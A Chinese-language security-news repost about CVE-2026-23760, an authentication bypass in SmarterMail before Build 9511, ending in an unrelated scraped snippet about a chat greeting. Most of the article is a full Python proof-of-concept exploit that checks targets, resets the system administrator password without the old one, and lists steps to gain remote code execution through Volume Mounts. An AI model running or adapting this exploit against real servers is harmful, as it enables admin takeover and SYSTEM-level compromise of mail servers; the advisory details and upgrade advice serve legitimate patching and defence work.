CVE-2026-23760|SmarterMail存在身份认证绕过漏洞可实现RCE(POC)

admin 2026-01-27 14:35:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: SmarterMail存在身份认证绕过漏洞CVE-2026-23760,影响Build9511之前版本。攻击者可利用未验证旧密码的接口重置管理员密码,进而结合VolumeMounts功能实现SYSTEM权限远程代码执行。文档提供了漏洞详情及PythonPOC脚本,建议受影响用户尽快升级修复。 综合评分: 89 文章分类: 漏洞分析,漏洞POC,漏洞预警,WEB安全


cover_image

CVE-2026-23760|SmarterMail存在身份认证绕过漏洞可实现RCE(POC)

alicy alicy

信安百科

2026年1月27日 09:02 河北

0x00 前言

SmarterMail是一款由SmarterTools公司开发的基于Windows平台的邮件服务器软件,专为中小型企业、教育机构及需要私有化部署的组织设计,提供完整的邮件通信解决方案。其核心定位是作为Microsoft Exchange的轻量级替代方案,无需依赖Active Directory,部署更灵活,运维成本更低。

0x01 漏洞描述

漏洞源于系统管理员(IsSysAdmin=true)的密码重置路径未验证OldPassword字段的有效性,仅依赖用户输入的Username和NewPassword即可直接修改系统管理员账户密码。

远程攻击者通过构造特定HTTP请求即可重置管理员密码,并进一步利用内置的“Volume Mounts”功能实现SYSTEM权限提权,最终实现未授权远程代码执行(RCE)。

0x02 CVE编号

CVE-2026-23760

0x03 影响版本

SmarterMail < Build 9511

0x04 漏洞详情

POC:

https://github.com/g0vguy/WT-2026-0001

#!/usr/bin/env python3import&nbsp;requestsimport&nbsp;jsonimport&nbsp;sysimport&nbsp;urllib3import&nbsp;argparsefrom&nbsp;typing&nbsp;import&nbsp;Dict,&nbsp;Optional
# Disable SSL warnings for testingurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class&nbsp;SmarterMailExploit:&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, target:&nbsp;str, username:&nbsp;str&nbsp;=&nbsp;"admin", new_password:&nbsp;str&nbsp;=&nbsp;"Hacked123!@#"):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target = target.rstrip('/')&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.username = username&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.new_password = new_password&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session = requests.Session()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session.verify =&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session.headers.update({&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'User-Agent':&nbsp;'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Content-Type':&nbsp;'application/json',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Accept':&nbsp;'application/json'&nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp;&nbsp;def&nbsp;check_vulnerability(self) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp; test_payload = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"IsSysAdmin":&nbsp;"true",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"OldPassword":&nbsp;"anything",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Username":&nbsp;self.username,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"NewPassword":&nbsp;"Test123!@#",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ConfirmPassword":&nbsp;"Test123!@#"&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target}/api/v1/auth/force-reset-password"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self.session.post(url, json=test_payload, timeout=10)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp_json = response.json()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp_json.get('success') ==&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] Target appears VULNERABLE")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"Invalid input parameters"&nbsp;in&nbsp;resp_json.get('message',&nbsp;''):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Target appears PATCHED (post-9511)")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Failed:&nbsp;{resp_json.get('message',&nbsp;'Unknown error')}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] HTTP&nbsp;{response.status_code}: Target may be patched or unreachable")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Connection error:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;json.JSONDecodeError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Invalid JSON response")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;def&nbsp;exploit(self) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Targeting:&nbsp;{self.target}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Admin user:&nbsp;{self.username}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] New password:&nbsp;{self.new_password}")
&nbsp; &nbsp; &nbsp; &nbsp; exploit_payload = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"IsSysAdmin":&nbsp;"true", &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"OldPassword":&nbsp;"anything_can_go_here",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Username":&nbsp;self.username,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"NewPassword":&nbsp;self.new_password,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ConfirmPassword":&nbsp;self.new_password&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[*] Sending exploit payload...")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;Endpoint: POST /api/v1/auth/force-reset-password")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;Payload:&nbsp;{json.dumps(exploit_payload, indent=4)}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target}/api/v1/auth/force-reset-password"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self.session.post(url, json=exploit_payload, timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[*] Response Status:&nbsp;{response.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp_json = response.json()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Response Body:&nbsp;{json.dumps(resp_json, indent=2)}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp_json.get('success') ==&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[+] EXPLOIT SUCCESSFUL!")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Admin password has been changed")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Username:&nbsp;{self.username}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] New Password:&nbsp;{self.new_password}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[+] Next steps:")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;1. Login to&nbsp;{self.target}/login.aspx")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;2. Navigate to Settings -> Volume Mounts")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;3. Use 'Volume Mount Command' for RCE")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Exploit failed:&nbsp;{resp_json.get('message',&nbsp;'Unknown')}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;'debugInfo'&nbsp;in&nbsp;resp_json:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; debug_lines = resp_json['debugInfo'].split('\\r\\n')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Debug trail:&nbsp;{' -> '.join([d&nbsp;for&nbsp;d&nbsp;in&nbsp;debug_lines&nbsp;if&nbsp;d])}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Server returned HTTP&nbsp;{response.status_code}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.text:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Response:&nbsp;{response.text[:500]}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Request failed:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;json.JSONDecodeError&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Failed to parse response:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.text:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Raw response:&nbsp;{response.text[:500]}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;def&nbsp;verify_login(self) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[*] Attempting to verify credentials...")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Manual verification required:")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;1. Visit&nbsp;{self.target}/login.aspx")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;2. Username:&nbsp;{self.username}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;3. Password:&nbsp;{self.new_password}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True
def&nbsp;main():&nbsp; &nbsp; parser = argparse.ArgumentParser(description='SmarterMail WT-2026-0001 Authentication Bypass Exploit')&nbsp; &nbsp; parser.add_argument('target',&nbsp;help='Target URL (e.g., https://mail.example.com:9998)')&nbsp; &nbsp; parser.add_argument('-u',&nbsp;'--username', default='admin',&nbsp;help='Admin username (default: admin)')&nbsp; &nbsp; parser.add_argument('-p',&nbsp;'--password', default='Hacked123!@#',&nbsp;help='New password to set')&nbsp; &nbsp; parser.add_argument('-c',&nbsp;'--check-only', action='store_true',&nbsp;help='Only check if vulnerable')
&nbsp; &nbsp; args = parser.parse_args()
&nbsp; &nbsp;&nbsp;print("""&nbsp; &nbsp; ███████╗███╗ &nbsp; ███╗ █████╗ ██╗███╗ &nbsp; ██╗███████╗██████╗&nbsp;&nbsp; &nbsp; ██╔════╝████╗ ████║██╔══██╗██║████╗ &nbsp;██║██╔════╝██╔══██╗&nbsp; &nbsp; ███████╗██╔████╔██║███████║██║██╔██╗ ██║█████╗ &nbsp;██████╔╝&nbsp; &nbsp; ╚════██║██║╚██╔╝██║██╔══██║██║██║╚██╗██║██╔══╝ &nbsp;██╔══██╗&nbsp; &nbsp; ███████║██║ ╚═╝ ██║██║ &nbsp;██║██║██║ ╚████║███████╗██║ &nbsp;██║&nbsp; &nbsp; ╚══════╝╚═╝ &nbsp; &nbsp; ╚═╝╚═╝ &nbsp;╚═╝╚═╝╚═╝ &nbsp;╚═══╝╚══════╝╚═╝ &nbsp;╚═╝
&nbsp; &nbsp; SmarterMail WT-2026-0001 Auth Bypass Exploit - S 1 D E R
&nbsp; &nbsp; """)
&nbsp; &nbsp; exploit = SmarterMailExploit(args.target, args.username, args.password)
&nbsp; &nbsp;&nbsp;if&nbsp;args.check_only:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Checking vulnerability status...")&nbsp; &nbsp; &nbsp; &nbsp; exploit.check_vulnerability()&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;exploit.check_vulnerability():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[*] Proceeding with exploitation...")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;exploit.exploit():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exploit.verify_login()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[-] Target does not appear vulnerable. Exploitation aborted.")
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

0x05 参考链接

https://www.smartertools.com/smartermail/release-notes/current

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

推荐阅读:

CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)

CVE-2025-54068|Livewire组件远程代码执行漏洞(POC)

CVE-2025-68645|Zimbra本地文件包含漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安百科 alicy alicy《CVE-2026-23760|SmarterMail存在身份认证绕过漏洞可实现RCE(POC)》

收到请回复 网络安全文章

收到请回复

文章总结: 文档内容为极简的聊天记录片段,仅包含问候语阿乐你好、日期2026年1月27日09:02和地点上海,不包含任何技术内容、安全信息或可操作价值。 综合评
评论:0   参与:  0